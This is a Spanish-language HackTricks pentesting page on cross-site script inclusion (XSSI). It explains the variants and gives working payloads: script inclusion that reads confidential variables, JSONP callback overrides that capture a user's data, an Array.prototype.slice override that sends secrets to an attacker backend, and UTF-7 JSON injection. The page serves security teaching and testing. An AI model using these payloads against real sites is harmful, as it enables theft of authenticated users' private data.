hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

110 lines
9 KiB
Markdown

# XSSI (Inclusión de Script entre Sitios)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
#### La información fue tomada de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
## Información Básica
XSSI designa un tipo de vulnerabilidad que explota el hecho de que, cuando se incluye un **recurso usando la etiqueta `script`, la política de mismo origen (SOP) no se aplica**, porque los scripts deben poder ser incluidos entre dominios. Un atacante puede, por lo tanto, **leer todo** lo que se incluyó usando la **etiqueta `script`**.
Esto es especialmente interesante cuando se trata de JavaScript dinámico o JSONP, cuando se utilizan información de autoridad ambiental, como las cookies, para la autenticación. Las cookies se incluyen al solicitar un recurso de un host diferente.
### Tipos
1. JavaScript estático (XSSI regular)
2. JavaScript estático, al que solo se puede acceder cuando se está autenticado
3. JavaScript dinámico
4. No JavaScript
## XSSI Regular
La información privada se encuentra dentro de un archivo JS globalmente accesible, simplemente se puede detectar esto leyendo archivos, buscando palabras clave o usando expresiones regulares.\
Para explotar esto, simplemente incluya el script con información privada dentro del contenido malicioso:
```markup
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
## XSSI basado en JavaScript dinámico y XSSI autenticado en JavaScript
**La información confidencial se agrega al script cuando un usuario lo solicita**. Esto se puede descubrir fácilmente enviando la solicitud **con y sin las cookies**, si se recupera **información diferente**, entonces podría contener información confidencial. Para hacer esto automáticamente, puede usar la extensión de Burp: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Si la información reside dentro de una variable global, se puede explotar utilizando el mismo código que para el caso anterior.\
Si los datos confidenciales se envían dentro de una respuesta JSONP, puede anular la función ejecutada para recuperar la información:
```markup
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
Otra opción es establecer una función preparada para ser ejecutada por la respuesta JSONP:
```markup
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Si una variable no reside dentro del espacio de nombres global, a veces esto puede ser explotado de todos modos usando _prototype tampering_. El prototype tampering abusa del diseño de JavaScript, a saber, que al interpretar el código, JavaScript recorre la cadena de prototipos para encontrar la propiedad llamada. El siguiente ejemplo se extrae del artículo [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) y demuestra cómo, al anular una función relevante de tipo `Array` y acceder a `this`, también se puede filtrar una variable no global.
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
En el código original, `slice` del tipo `Array` accede a los datos que nos interesan. Un atacante puede, como se describe en la cláusula anterior, sobrescribir `slice` y robar los secretos.
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
El investigador de seguridad [Sebastian Lekies](https://twitter.com/slekies) actualizó recientemente su lista de [vectores](http://sebastian-lekies.de/leak/).
## Non-Script-XSSI
Takeshi Terada describe otro tipo de XSSI en su artículo [Ataques basados en identificadores XSSI](https://www.mbsd.jp/Whitepaper/xssi.pdf). Él fue capaz de filtrar archivos Non-Script de forma cruzada al incluir, entre otros, archivos CSV como fuente en la etiqueta `script`, utilizando los datos como nombres de variables y funciones.
El primer ataque XSSI documentado públicamente fue en 2006. La entrada del blog de Jeremiah Grossman [Técnicas avanzadas de ataque web usando GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) describe un XSSI, que al anular el constructor `Array` fue capaz de leer la libreta de direcciones completa de una cuenta de Google.
En 2007, Joe Walker publicó [JSON no es tan seguro como la gente piensa que es](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). Él utiliza la misma idea para robar JSON que está dentro de un `Array`.
Otros ataques relacionados se llevaron a cabo mediante la inyección de contenido codificado en UTF-7 en el JSON para escapar del formato JSON. Es descrito por Gareth Heyes, autor de [Hackvertor](https://hackvertor.co.uk/public), en la entrada del blog [Secuestro de JSON](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) publicada en 2011. En una prueba rápida, esto todavía era posible en Microsoft Internet Explorer y Edge, pero no en Mozilla Firefox o Google Chrome.
JSON con UTF-7:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
Incluyendo el JSON en la página del atacante
```markup
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>